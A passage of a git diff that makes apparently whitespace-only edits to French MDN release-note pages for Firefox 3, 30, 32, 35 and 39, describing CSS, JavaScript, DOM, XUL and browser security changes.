l'utilisateur : si une police était affichée plus grande à cause de la taille de police minimale, les unités em et ex pour les tailles de police étaient adaptées en fonction. Ce comportement était incohérent avec la manière dont les tailles de police en pourcentage fonctionnaient. +Les valeurs de taille de police (`font-size`) utilisant les unités em et ex étaient auparavant affectées selon la taille de police minimale spécifiée par l'utilisateur : si une police était affichée plus grande à cause de la taille de police minimale, les unités em et ex pour les tailles de police étaient adaptées en fonction. Ce comportement était incohérent avec la manière dont les tailles de police en pourcentage fonctionnaient. -Les valeurs de `font-size` sont à présent basées sur une « taille de police désirée » qui n'est pas affectée par la taille minimale de police de l'utilisateur. Autrement dit, les tailles de police sont toujours calculées selon l'intention du concepteur du site et ne sont ajustées selon la taille de police minimale qu'après coup. +Les valeurs de `font-size` sont à présent basées sur une « taille de police désirée » qui n'est pas affectée par la taille minimale de police de l'utilisateur. Autrement dit, les tailles de police sont toujours calculées selon l'intention du concepteur du site et ne sont ajustées selon la taille de police minimale qu'après coup. -Consultez le {{ Bug(322943) }} pour une démonstration (doit être visionnée avec une taille de police minimale supérieure ou égale à 6 pour voir la différence : les deux cascades de boîtes se comportent différemment dans Firefox 2, car la taille de police basée sur des unités em est décalée par la taille de police minimale). +Consultez le {{ Bug(322943) }} pour une démonstration (doit être visionnée avec une taille de police minimale supérieure ou égale à 6 pour voir la différence : les deux cascades de boîtes se comportent différemment dans Firefox 2, car la taille de police basée sur des unités em est décalée par la taille de police minimale). ### Changements concernant la sécurité @@ -56,20 +56,20 @@ Dans les versions précédentes de Firefox, toute page web pouvait charger des s Firefox 3 ne permet plus au contenu web que d'accéder aux éléments dans les espaces chrome://browser/ et chrome://toolkit/. Ces fichiers sont prévus pour être accessibles au contenu web. Tous les autres contenus chrome y sont par contre à présent inaccessibles. -Une possibilité existe cependant pour les extensions désirant rendre le contenu accessible aux pages web. Ces extensions peuvent spécifier un paramètre spécial dans leur fichier chrome.manifest comme ceci : +Une possibilité existe cependant pour les extensions désirant rendre le contenu accessible aux pages web. Ces extensions peuvent spécifier un paramètre spécial dans leur fichier chrome.manifest comme ceci : content mypackage location/ contentaccessible=yes Cette manipulation ne devrait pas être nécessaire la plupart du temps, mais elle existe toutefois pour les rares cas où elle reste indispensable. Notez qu'il n'est pas exclu que Firefox avertisse l'utilisateur de cette utilisation du paramètre `contentaccessible`, étant donné qu'il constitue un risque potentiel de sécurité. -> **Note :** Firefox 2 ne gérant pas le paramètre contentaccessible (la ligne le contenant sera entièrement ignorée), si vous voulez que votre module reste compatible avec Firefox 2 et Firefox 3, ajoutez plutôt quelque chose comme ceci : +> **Note :** Firefox 2 ne gérant pas le paramètre contentaccessible (la ligne le contenant sera entièrement ignorée), si vous voulez que votre module reste compatible avec Firefox 2 et Firefox 3, ajoutez plutôt quelque chose comme ceci : > > content mypackage location/ > content mypackage location/ contentaccessible=yes #### Champs d'envoi de fichiers (upload) -Dans les versions précédentes de Firefox, un certain nombre de cas existaient où le chemin entier du fichier envoyé par l'utilisateur était lisible par une application web. Pour des raisons de confidentialité, ce n'est plus possible dans Firefox 3 ; à présent seul le nom du fichier lui-même est visible par l'application web. +Dans les versions précédentes de Firefox, un certain nombre de cas existaient où le chemin entier du fichier envoyé par l'utilisateur était lisible par une application web. Pour des raisons de confidentialité, ce n'est plus possible dans Firefox 3 ; à présent seul le nom du fichier lui-même est visible par l'application web. ### Changements dans JavaScript diff --git a/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.md b/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.md index 956679990e..1cdf61cf85 100644 --- a/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.md +++ b/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.md @@ -13,7 +13,7 @@ Firefox 3 fournit un certain nombre de nouveaux éléments [XUL](/fr/XUL), ainsi ### Nouveaux éléments -- [Contrôles numériques](/fr/Tutoriel_XUL/Les_contrôles_numériques) : +- [Contrôles numériques](/fr/Tutoriel_XUL/Les_contrôles_numériques) : - Le nouvel élément [`<scale>`](/fr/XUL/scale) permet de créer des échelles glissantes permettant à l'utilisateur de sélectionner une valeur dans un intervalle donné. Ce contrôle serait typiquement utilisé, par exemple, pour créer un contrôle de volume. {{ interwiki('wikimo', 'XUL:Slider_Tag', 'Plus d\'informations sur scale') }} [Référence de `scale`](/fr/XUL/scale) ({{ Bug(290255) }}) - Une nouvelle valeur `'number'` pour l'attribut `type` des élément `textbox` crée une boîte de texte dans laquelle seuls des nombres peuvent être entrés. De plus, des boutons fléchés apparaissent sur le côté permettant de se déplacer parmi les valeurs. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Plus d\'informations sur les boîtes de texte numériques') }} ({{ Bug(345510) }}) @@ -49,7 +49,7 @@ Firefox 3 fournit un certain nombre de nouveaux éléments [XUL](/fr/XUL), ainsi - En définissant l'attribut `spellcheck` d'une boîte de texte à `'true'`, la correction orthographique sera activée pour cette boîte de texte. ({{ Bug(346787) }}) - L'élément `<textbox>` dispose d'une méthode `reset()` pour réinitialiser la valeur de la boîte de texte à sa valeur par défaut. La propriété `defaultValue` peut être utilisée pour retrouver et modifier cette valeur par défaut. ({{ Bug(312867) }}) - Une propriété `editor` permet d'obtenir le [nsIEditor](/fr/NsIEditor) internet pour le champ texte. ({{ Bug(312867) }}) -- textbox dispose d'un attribut `newlines` spécifiant comment les retours à la ligne dans les textes collés seront traités. ({{ Bug(253481) }}) Les valeurs possibles sont : +- textbox dispose d'un attribut `newlines` spécifiant comment les retours à la ligne dans les textes collés seront traités. ({{ Bug(253481) }}) Les valeurs possibles sont : - `pasteintact` — tout coller tel quel - `pastetofirst` — (valeur par défaut) coller uniquement ce qui précède le premier retour à la ligne diff --git a/files/fr/mozilla/firefox/releases/30/index.md b/files/fr/mozilla/firefox/releases/30/index.md index ff9a6c100e..889ffab0ed 100644 --- a/files/fr/mozilla/firefox/releases/30/index.md +++ b/files/fr/mozilla/firefox/releases/30/index.md @@ -70,7 +70,7 @@ _Pas de changement._ ## Changements pour les développeurs d'add-on et de Mozilla -- L'interface `nsIDOMWindowUtils` supporte désormais l'attribut booléen `audioMuted` et `audioVolume`, un float dans la plage `[0.0` , `1.0]`, permettant de contrôler le son produit par une fenêtre (c'est-à-dire n'importe quel onglet ou iframe). Il n'y a pas d'interface utilisateur pour cela, mais est disponible pour les add-ons. ({{bug(923247)}}) +- L'interface `nsIDOMWindowUtils` supporte désormais l'attribut booléen `audioMuted` et `audioVolume`, un float dans la plage `[0.0` , `1.0]`, permettant de contrôler le son produit par une fenêtre (c'est-à-dire n'importe quel onglet ou iframe). Il n'y a pas d'interface utilisateur pour cela, mais est disponible pour les add-ons. ({{bug(923247)}}) ## Voir aussi diff --git a/files/fr/mozilla/firefox/releases/32/index.md b/files/fr/mozilla/firefox/releases/32/index.md index 5ae819fa59..531452c343 100644 --- a/files/fr/mozilla/firefox/releases/32/index.md +++ b/files/fr/mozilla/firefox/releases/32/index.md @@ -30,11 +30,11 @@ Highlights: - Enabled {{cssxref("mix-blend-mode")}} by default ({{Bug(952643)}}). - Enabled `position:sticky` by default in release builds (only enabled on Nightly and Aurora before) ({{Bug(916315)}}). - Implemented {{cssxref("box-decoration-break")}} and removed the non-standard {{cssxref("-moz-background-inline-policy")}}({{Bug(613659)}}). -- Allowed {{cssxref("flex-grow")}} and {{cssxref("flex-shrink")}} to transition between zero and nonzero values ({{Bug(996945)}}). +- Allowed {{cssxref("flex-grow")}} and {{cssxref("flex-shrink")}} to transition between zero and nonzero values ({{Bug(996945)}}). ### HTML -- Experimentally implemented, behind a pref, {{HTMLElement("img")}} {{HTMLattrxref("srcset", "img")}} property, To activate it set `dom.image.srcset.enable` to `true` ({{Bug(870021)}}). +- Experimentally implemented, behind a pref, {{HTMLElement("img")}} {{HTMLattrxref("srcset", "img")}} property, To activate it set `dom.image.srcset.enable` to `true` ({{Bug(870021)}}). - [**id**](/fr/docs/Web/HTML/Global_attributes/id) and [**class**](/fr/docs/Web/HTML/Global_attributes/class) are now true [global attributes](/fr/docs/Web/HTML/Global_attributes) and also apply to XML elements, in a namespace or not ({{bug(741295)}}). ### JavaScript @@ -51,8 +51,8 @@ Highlights: - The {{domxref("Navigator.vibrate()")}} method behavior has been adapted to the latest specification: too long vibrations are now truncated ({{bug(1014581)}}). - The {{domxref("KeyboardEvent.getModifierState()")}} and {{domxref("MouseEvent.getModifierState()")}} methods have been extended to support the `Accel` virtual modifier ({{Bug(1009388)}}). - The {{domxref("KeyboardEvent.code")}} property have been experimentally implemented: it is disabled on release build ({{Bug(865649)}}). -- Scoped selectors for {{domxref("Document.querySelector()")}} and {{domxref("Document.querySelectorAll()")}}, for example `querySelector(":scope > li")`have been implemented ({{Bug(528456)}}). -- The experimental implementation of the {{domxref("Document.timeline")}} interface, related to the [Web Animation API](http://dev.w3.org/fxtf/web-animations/), has been added ({{bug("998246")}}). It is controlled by `layout.web-animations.api.enabled` preference, enabled only on Nightly and Aurora for the moment. +- Scoped selectors for {{domxref("Document.querySelector()")}} and {{domxref("Document.querySelectorAll()")}}, for example `querySelector(":scope > li")`have been implemented ({{Bug(528456)}}). +- The experimental implementation of the {{domxref("Document.timeline")}} interface, related to the [Web Animation API](http://dev.w3.org/fxtf/web-animations/), has been added ({{bug("998246")}}). It is controlled by `layout.web-animations.api.enabled` preference, enabled only on Nightly and Aurora for the moment. - The [Data Store API](/fr/docs/Web/API/Data_Store_API) has been made available to [Web Workers](/fr/docs/Web/Guide/Performance/Using_web_workers) ({{bug("949325")}}). It still is only activated for certified applications. - The [ServiceWorker](/fr/docs/Web/API/ServiceWorker_API) {{domxref("InstallPhaseEvent")}} and {{domxref("InstallEvent")}} interfaces have been implemented ({{ Bug("967264") }}). - The [MSISDN Verification API](/fr/docs/Web/API/MSISDN_Verification_API), only activated for privileged apps, has been added ({{ Bug("988469") }}). @@ -60,8 +60,8 @@ Highlights: - To match the spec and the evolution of the CSS syntax, minor changes have been done to {{domxref("CSS.escape()")}}. The identifier now can begins with `'--'` and the second dash must not be escaped. Also vendor identifier are no more escaped. ({{bug(1008719)}}) - To complete our Hit Regions implementation, {{domxref("MouseEvent.region")}} has been implemented ({{bug(979692)}}). - The {{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} method is now enabled by default ({{bug(1004579)}}). -- The {{domxref("Navigator.doNotTrack")}} properties now returns `'1'` or `'0'`, reflecting the HTTP value, instead of `'yes'` or `'no'` ({{bug(887703)}}). -- New constraints for [WebRTC](/fr/docs/Glossary/WebRTC)'s {{domxref("NavigatorUserMedia.getUserMedia", "getUserMedia()")}}, `width`, `height`, and `framerate`, have been added, to limit stream dimensions and frame rate ({{bug("907352")}}): +- The {{domxref("Navigator.doNotTrack")}} properties now returns `'1'` or `'0'`, reflecting the HTTP value, instead of `'yes'` or `'no'` ({{bug(887703)}}). +- New constraints for [WebRTC](/fr/docs/Glossary/WebRTC)'s {{domxref("NavigatorUserMedia.getUserMedia", "getUserMedia()")}}, `width`, `height`, and `framerate`, have been added, to limit stream dimensions and frame rate ({{bug("907352")}}): ```json { diff --git a/files/fr/mozilla/firefox/releases/35/index.md b/files/fr/mozilla/firefox/releases/35/index.md index decbab48ca..33a34eb7db 100644 --- a/files/fr/mozilla/firefox/releases/35/index.md +++ b/files/fr/mozilla/firefox/releases/35/index.md @@ -57,57 +57,57 @@ Liens: ### CSS -- La proprieté [`mask-type`](/fr/docs/Web/CSS/mask-type) a été activée par défaut ([bug 1058519](https://bugzilla.mozilla.org/show_bug.cgi?id=1058519)). -- La propieté [`filter`](/fr/docs/Web/CSS/filter) est maintenant activée par défaut ([bug 1057180](https://bugzilla.mozilla.org/show_bug.cgi?id=1057180)). -- La fonction [`@font-face`](/fr/docs/Web/CSS/@font-face) est maintenant compatible avec les polices de type WOFF2 ([bug 1064737](https://bugzilla.mozilla.org/show_bug.cgi?id=1064737)). -- La notation fonctionnelle [`symbol()`](</fr/docs/Web/CSS/symbol()>) est maintenant supportée([bug 966168](https://bugzilla.mozilla.org/show_bug.cgi?id=966168)). -- L'API CSS Font Loading a été implémentée ([bug 1028497](https://bugzilla.mozilla.org/show_bug.cgi?id=1028497)). -- En utilisant [`-moz-appearance`](/fr/docs/Web/CSS/appearance) avec la valeur `none` sur un menu de type `select`, le bouton déroulant est maintenant supprimé ([bug 649849](https://bugzilla.mozilla.org/show_bug.cgi?id=649849)). -- La propriété accessor `element.style["css-property-name"]` a maintenant été ajoutée pour correspondre aux autres navigateurs ([bug 958887](https://bugzilla.mozilla.org/show_bug.cgi?id=958887 'FIXED: Add support for element.style["css-property-name"] non-standard extension')). +- La proprieté [`mask-type`](/fr/docs/Web/CSS/mask-type) a été activée par défaut ([bug 1058519](https://bugzilla.mozilla.org/show_bug.cgi?id=1058519)). +- La propieté [`filter`](/fr/docs/Web/CSS/filter) est maintenant activée par défaut ([bug 1057180](https://bugzilla.mozilla.org/show_bug.cgi?id=1057180)). +- La fonction [`@font-face`](/fr/docs/Web/CSS/@font-face) est maintenant compatible avec les polices de type WOFF2 ([bug 1064737](https://bugzilla.mozilla.org/show_bug.cgi?id=1064737)). +- La notation fonctionnelle [`symbol()`](</fr/docs/Web/CSS/symbol()>) est maintenant supportée([bug 966168](https://bugzilla.mozilla.org/show_bug.cgi?id=966168)). +- L'API CSS Font Loading a été implémentée ([bug 1028497](https://bugzilla.mozilla.org/show_bug.cgi?id=1028497)). +- En utilisant [`-moz-appearance`](/fr/docs/Web/CSS/appearance) avec la valeur `none` sur un menu de type `select`, le bouton déroulant est maintenant supprimé ([bug 649849](https://bugzilla.mozilla.org/show_bug.cgi?id=649849)). +- La propriété accessor `element.style["css-property-name"]` a maintenant été ajoutée pour correspondre aux autres navigateurs ([bug 958887](https://bugzilla.mozilla.org/show_bug.cgi?id=958887 'FIXED: Add support for element.style["css-property-name"] non-standard extension')). ### HTML -- Les obsolètes `et non conformes bottommargin`, `leftmargin`, `rightmargin` and `topmargin` attributs de l'élement `<body> ` ont été activés en mode non-quirks ([bug 95530](https://bugzilla.mozilla.org/show_bug.cgi?id=95530)). -- Les [imports HTML](/fr/docs/Web/Web_Components/HTML_Imports) sont maintenant supportés ([bug 877072](https://bugzilla.mozilla.org/show_bug.cgi?id=877072)). +- Les obsolètes `et non conformes bottommargin`, `leftmargin`, `rightmargin` and `topmargin` attributs de l'élement `<body> ` ont été activés en mode non-quirks ([bug 95530](https://bugzilla.mozilla.org/show_bug.cgi?id=95530)). +- Les [imports HTML](/fr/docs/Web/Web_Components/HTML_Imports) sont maintenant supportés ([bug 877072](https://bugzilla.mozilla.org/show_bug.cgi?id=877072)). ### JavaScript -- La "[temporal dead zone](/fr/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let)" pour les déclarations [`let`](/fr/docs/Web/JavaScript/Reference/Statements/let) a été implementée. En conformité avec les sémantiques `let `ES6, les situations suivantes renvoyent des erreurs. Voir aussi cet[ annoncement de newsgroup ](https://groups.google.com/forum/#!topic/mozilla.dev.platform/tezdW299Zds)and [bug 1001090](https://bugzilla.mozilla.org/show_bug.cgi?id=1001090 'FIXED: Implement ES6 "temporal dead zone" for let'). +- La "[temporal dead zone](/fr/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let)" pour les déclarations [`let`](/fr/docs/Web/JavaScript/Reference/Statements/let) a été implementée. En conformité avec les sémantiques `let `ES6, les situations suivantes renvoyent des erreurs. Voir aussi cet[ annoncement de newsgroup ](https://groups.google.com/forum/#!topic/mozilla.dev.platform/tezdW299Zds)and [bug 1001090](https://bugzilla.mozilla.org/show_bug.cgi?id=1001090 'FIXED: Implement ES6 "temporal dead zone" for let'). - Redéclarer des variables existantes ou arguments utilisant `let` sans la même portée dans le corps de fonctions est maintenant une erreur de syntaxe. - - Utiliser une variable déclarée en utilisant `let` dans le corps de fonctions avant la déclaration de cette variable est maintenant une erreur d'exécution. + - Utiliser une variable déclarée en utilisant `let` dans le corps de fonctions avant la déclaration de cette variable est maintenant une erreur d'exécution. - ES6 [`Symbols`](/fr/docs/Web/JavaScript/Reference/Symbols) (disponible uniquement dans Nightly) a été mis à jour pour être conforme avec les récents changements de spécification : - - `String(Symbol("1"))` ne renvoie maintenant une [`TypeError`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError); au lieu d'un string (`"Symbol(1)"`) ([bug 1058396](https://bugzilla.mozilla.org/show_bug.cgi?id=1058396)). - - Les divers [constructeurs _TypedArray_](/fr/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects) ont maintenant comme `[[Prototype]]` une simple fonction, notée `%TypedArray%` en ES6 (mais pas directement exposé). Chaque prototype de tableau typé hérite maintenant de `%TypedArray%.prototype`. (`%TypedArray%` et `%TypedArray%.prototype` hérite eux-mêmes de [`Function.prototype`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype) et [`Object.prototype`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype), respectivement, ainsi ce constructeur et ces instances de tableau typé ont aussi les propriétés de ces objets.) Les propriétés des fonctions de tableau typés se trouvent maintenant sur `%TypedArray%.prototype` et fonctionnent sur tous les tableaux typés. Voir [_TypedArray_](/fr/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Description) et [bug 896116](https://bugzilla.mozilla.org/show_bug.cgi?id=896116) pour plus d'information. + - `String(Symbol("1"))` ne renvoie maintenant une [`TypeError`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError); au lieu d'un string (`"Symbol(1)"`) ([bug 1058396](https://bugzilla.mozilla.org/show_bug.cgi?id=1058396)). + - Les divers [constructeurs _TypedArray_](/fr/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects) ont maintenant comme `[[Prototype]]` une simple fonction, notée `%TypedArray%` en ES6 (mais pas directement exposé). Chaque prototype de tableau typé hérite maintenant de `%TypedArray%.prototype`. (`%TypedArray%` et `%TypedArray%.prototype` hérite eux-mêmes de [`Function.prototype`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype) et [`Object.prototype`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype), respectivement, ainsi ce constructeur et ces instances de tableau typé ont aussi les propriétés de ces objets.) Les propriétés des fonctions de tableau typés se trouvent maintenant sur `%TypedArray%.prototype` et fonctionnent sur tous les tableaux typés. Voir [_TypedArray_](/fr/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Description) et [bug 896116](https://bugzilla.mozilla.org/show_bug.cgi?id=896116) pour plus d'information. -- Les semantiques ES6 pour les [mutations de prototype utilisant les _initialisateurs d'objet_](/fr/docs/Web/JavaScript/Reference/Operators/Object_initializer#Prototype_mutation) ont été implémentées ([bug 1061853](https://bugzilla.mozilla.org/show_bug.cgi?id=1061853)). +- Les semantiques ES6 pour les [mutations de prototype utilisant les _initialisateurs d'objet_](/fr/docs/Web/JavaScript/Reference/Operators/Object_initializer#Prototype_mutation) ont été implémentées ([bug 1061853](https://bugzilla.mozilla.org/show_bug.cgi?id=1061853)). - - Maintenant un seul membre noté `__proto__:value` peut changer `le [[Prototype]]` dans la syntaxe de l'initialisateur d'objet. + - Maintenant un seul membre noté `__proto__:value` peut changer `le [[Prototype]]` dans la syntaxe de l'initialisateur d'objet. - Les membres de méthode comme `__proto__() {}` ne réecrivent pas le `[[Prototype]]`. ### Interfaces/APIs/DOM -- L'interface [`NavigatorLanguage`](/fr/docs/Web/API/NavigatorLanguage) est maintenant disponible aux développeurs sur [`WorkerNavigator`](/fr/docs/Web/API/WorkerNavigator) ([bug 925849](https://bugzilla.mozilla.org/show_bug.cgi?id=925849)). -- La méthode [`Element.closest`](/fr/docs/Web/API/Element/closest) retourne l'ancêtre le plus proche de l'élément utilisé ([bug 1055533](https://bugzilla.mozilla.org/show_bug.cgi?id=1055533)). -- Appui expérimental pour la propriété [`CanvasRenderingContext2D.filter`](/fr/docs/Web/API/CanvasRenderingContext2D/filter) a été ajouté sous le nom `canvas.filters.enabled` ([bug 927892](https://bugzilla.mozilla.org/show_bug.cgi?id=927892)). -- Our experimental implementation of Web Animations progresses with the landing of the [`Animation.target`](/fr/docs/Web/API/Animation/target) property. This always is behind the dom.animations-api.core.enabled pref, off by default ([bug 1067701](https://bugzilla.mozilla.org/show_bug.cgi?id=1067701)). +- L'interface [`NavigatorLanguage`](/fr/docs/Web/API/NavigatorLanguage) est maintenant disponible aux développeurs sur [`WorkerNavigator`](/fr/docs/Web/API/WorkerNavigator) ([bug 925849](https://bugzilla.mozilla.org/show_bug.cgi?id=925849)). +- La méthode [`Element.closest`](/fr/docs/Web/API/Element/closest) retourne l'ancêtre le plus proche de l'élément utilisé ([bug 1055533](https://bugzilla.mozilla.org/show_bug.cgi?id=1055533)). +- Appui expérimental pour la propriété [`CanvasRenderingContext2D.filter`](/fr/docs/Web/API/CanvasRenderingContext2D/filter) a été ajouté sous le nom `canvas.filters.enabled` ([bug 927892](https://bugzilla.mozilla.org/show_bug.cgi?id=927892)). +- Our experimental implementation of Web Animations progresses with the landing of the [`Animation.target`](/fr/docs/Web/API/Animation/target) property. This always is behind the dom.animations-api.core.enabled pref, off by default ([bug 1067701](https://bugzilla.mozilla.org/show_bug.cgi?id=1067701)). - The [`hasAttributes()`](/fr/docs/Web/API/Element/hasAttributes) method has been moved from [`Node`](/fr/docs/Web/API/Node) to [`Element`](/fr/docs/Web/API/Element) as required by the spec ([`1055773`](/fr/docs/Web/API/1055773)). -- [Websockets](/fr/docs/WebSockets) can now be used in [Workers](/fr/docs/Web/Guide/Performance/Using_web_workers) ([bug 504553](https://bugzilla.mozilla.org/show_bug.cgi?id=504553)). -- The `crossOrigin` reflected attribute of [`HTMLImageElement`](/fr/docs/Web/API/HTMLImageElement), [`HTMLLinkElement`](/fr/docs/Web/API/HTMLLinkElement), [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement), [`HTMLScriptElement`](/fr/docs/Web/API/HTMLScriptElement), and [`SVGScriptElement`](/fr/docs/Web/API/SVGScriptElement) only accepts valid values, and `""` isn't, `null` has to be used instead ([bug 880997](https://bugzilla.mozilla.org/show_bug.cgi?id=880997)). -- The Resource Timing API has been activated by default ([bug 1002855](https://bugzilla.mozilla.org/show_bug.cgi?id=1002855)). -- To match the spec, the first argument of [`Selection.containsNode()`](/fr/docs/Web/API/Selection/containsNode) cannot be `null` anymore ([bug 1068058](https://bugzilla.mozilla.org/show_bug.cgi?id=1068058)). -- The new [`ImageCapture`](/fr/docs/Web/API/ImageCapture) API has been implemented: [`ImageCapture.takePhoto()`](/fr/docs/Web/API/ImageCapture/takePhoto) is available ([bug 916643](https://bugzilla.mozilla.org/show_bug.cgi?id=916643)). -- Non-HTTP [`XHR`](/fr/docs/Web/API/XMLHttpRequest) request now returns `200` in case of success (instead of the erroneous `0`) ([bug 716491](https://bugzilla.mozilla.org/show_bug.cgi?id=716491)). -- The internal, non-standard, [`File.mozFullPath`](/fr/docs/Web/API/File/mozFullPath) property is no more visible from content ([bug 1048293](https://bugzilla.mozilla.org/show_bug.cgi?id=1048293)). -- The constructor of [`File`](/fr/docs/Web/API/File) has been extended to match the specification ([bug 10457483](https://bugzilla.mozilla.org/show_bug.cgi?id=10457483)). -- An experimental implementation of [`AbortablePromise`](/fr/docs/Web/API/AbortablePromise), a promise that can be aborted by a different entity that the one who created it, has been added. It is prefixed with `Moz` and controlled by the `dom.abortablepromise.enabled `property, defaulting to `false` ([bug 1035060](https://bugzilla.mozilla.org/show_bug.cgi?id=1035060)). -- La propriété non standardisée [`Navigator.mozIsLocallyAvailable`](/fr/docs/Web/API/Navigator/mozIsLocallyAvailable) a été supprimée ([bug 1066826](https://bugzilla.mozilla.org/show_bug.cgi?id=1066826)). +- [Websockets](/fr/docs/WebSockets) can now be used in [Workers](/fr/docs/Web/Guide/Performance/Using_web_workers) ([bug 504553](https://bugzilla.mozilla.org/show_bug.cgi?id=504553)). +- The `crossOrigin` reflected attribute of [`HTMLImageElement`](/fr/docs/Web/API/HTMLImageElement), [`HTMLLinkElement`](/fr/docs/Web/API/HTMLLinkElement), [`HTMLMediaElement`](/fr/docs/Web/API/HTMLMediaElement), [`HTMLScriptElement`](/fr/docs/Web/API/HTMLScriptElement), and [`SVGScriptElement`](/fr/docs/Web/API/SVGScriptElement) only accepts valid values, and `""` isn't, `null` has to be used instead ([bug 880997](https://bugzilla.mozilla.org/show_bug.cgi?id=880997)). +- The Resource Timing API has been activated by default ([bug 1002855](https://bugzilla.mozilla.org/show_bug.cgi?id=1002855)). +- To match the spec, the first argument of [`Selection.containsNode()`](/fr/docs/Web/API/Selection/containsNode) cannot be `null` anymore ([bug 1068058](https://bugzilla.mozilla.org/show_bug.cgi?id=1068058)). +- The new [`ImageCapture`](/fr/docs/Web/API/ImageCapture) API has been implemented: [`ImageCapture.takePhoto()`](/fr/docs/Web/API/ImageCapture/takePhoto) is available ([bug 916643](https://bugzilla.mozilla.org/show_bug.cgi?id=916643)). +- Non-HTTP [`XHR`](/fr/docs/Web/API/XMLHttpRequest) request now returns `200` in case of success (instead of the erroneous `0`) ([bug 716491](https://bugzilla.mozilla.org/show_bug.cgi?id=716491)). +- The internal, non-standard, [`File.mozFullPath`](/fr/docs/Web/API/File/mozFullPath) property is no more visible from content ([bug 1048293](https://bugzilla.mozilla.org/show_bug.cgi?id=1048293)). +- The constructor of [`File`](/fr/docs/Web/API/File) has been extended to match the specification ([bug 10457483](https://bugzilla.mozilla.org/show_bug.cgi?id=10457483)). +- An experimental implementation of [`AbortablePromise`](/fr/docs/Web/API/AbortablePromise), a promise that can be aborted by a different entity that the one who created it, has been added. It is prefixed with `Moz` and controlled by the `dom.abortablepromise.enabled `property, defaulting to `false` ([bug 1035060](https://bugzilla.mozilla.org/show_bug.cgi?id=1035060)). +- La propriété non standardisée [`Navigator.mozIsLocallyAvailable`](/fr/docs/Web/API/Navigator/mozIsLocallyAvailable) a été supprimée ([bug 1066826](https://bugzilla.mozilla.org/show_bug.cgi?id=1066826)). -### MathML +### MathML -- La fonction `dtls` OpenType (via les CSS [`font-feature-settings`](/fr/docs/Web/CSS/font-feature-settings) sur la feuille de styles par défaut) est maintenant appliquée automatiquement aux éléments MathML lors du positionnement des scripts au-dessus (e.g. dotless i with mathematical hat). +- La fonction `dtls` OpenType (via les CSS [`font-feature-settings`](/fr/docs/Web/CSS/font-feature-settings) sur la feuille de styles par défaut) est maintenant appliquée automatiquement aux éléments MathML lors du positionnement des scripts au-dessus (e.g. dotless i with mathematical hat). ### SVG @@ -119,15 +119,15 @@ _Aucun changement._ ## Réseau & Sécurité -- L'entête HTTP/2 `alt-svc` est maintenant supportée ([bug 1003448](https://bugzilla.mozilla.org/show_bug.cgi?id=1003448)). -- L'extension [Public Key Pinning](/fr/docs/Web/Security/Public_Key_Pinning) pour HTTP (HPKP) a été implementée ([bug 787133](https://bugzilla.mozilla.org/show_bug.cgi?id=787133)). +- L'entête HTTP/2 `alt-svc` est maintenant supportée ([bug 1003448](https://bugzilla.mozilla.org/show_bug.cgi?id=1003448)). +- L'extension [Public Key Pinning](/fr/docs/Web/Security/Public_Key_Pinning) pour HTTP (HPKP) a été implementée ([bug 787133](https://bugzilla.mozilla.org/show_bug.cgi?id=787133)). ## Changements pour les modules et les développeurs Mozilla ### XUL & Modules - La méthode privée `_getTabForBrowser()` sur l'élement [`tabbrowser`](/fr/docs/Mozilla/Tech/XUL/tabbrowser) a été remplacée. À la place, nous avons ajouté une nouvelle méthode publique apellée [`getTabForBrowser`](/fr/docs/Mozilla/Tech/XUL/Méthodes/getTabForBrowser). Elle retourne assez prévisiblement l'élément [`tab`](/fr/docs/Mozilla/Tech/XUL/tab) qui contient le spécifique [`browser`](/fr/docs/Mozilla/Tech/XUL/browser). -- `Components.utils.now()`, correspondant à [`Performance.now()`](/fr/docs/Web/API/Performance/now) a été implémenté pour les codes Chrome sans fenêtre ouverte ([bug 969490](https://bugzilla.mozilla.org/show_bug.cgi?id=969490)). +- `Components.utils.now()`, correspondant à [`Performance.now()`](/fr/docs/Web/API/Performance/now) a été implémenté pour les codes Chrome sans fenêtre ouverte ([bug 969490](https://bugzilla.mozilla.org/show_bug.cgi?id=969490)). ### Module SDK diff --git a/files/fr/mozilla/firefox/releases/39/index.md b/files/fr/mozilla/firefox/releases/39/index.md index 28e56cfb4e..81dbf73e2d 100644 --- a/files/fr/mozilla/firefox/releases/39/index.md +++ b/files/fr/mozilla/firefox/releases/39/index.md @@ -42,7 +42,7 @@ Points forts: ### JavaScript -- Le [constructeur `RegExp`](/fr/docs/Web/JavaScript/Reference/Global_Objects/RegExp) ne se lance plus lorsque le premier argument est un `RegExp` et que le second argument `flags` est présent ({{bug(1108949)}}). +- Le [constructeur `RegExp`](/fr/docs/Web/JavaScript/Reference/Global_Objects/RegExp) ne se lance plus lorsque le premier argument est un `RegExp` et que le second argument `flags` est présent ({{bug(1108949)}}). - La propriété {{jsxref("Object.noSuchMethod", "Object.prototype.__noSuchMethod__")}} est désormais obsolète et émet un avertissement de console (voir {{bug(1140428)}} et cette [annonce de plate-forme](https://groups.google.com/forum/#!topic/mozilla.dev.platform/0EkHgphxUo8)). - L'implémentation de l'objet {{jsxref("Proxy")}} a été mise à jour pour se conformer davantage à la spécification ES6 : @@ -51,7 +51,7 @@ Points forts: - Lors de l'utilisation des [fonctions fléchées](/fr/docs/Web/JavaScript/Reference/Functions/Arrow_functions) (`=>`), un terminateur de ligne (`\n`) n'est plus autorisé après les arguments de fonction fléchée (`() \n => {}`) ({{bug(1141392)}}). - {{jsxref("RegExp.prototype.toString")}} est maintenant une fonction générique ({{bug(1079919)}}). -- L'argument de `flags` non standard de 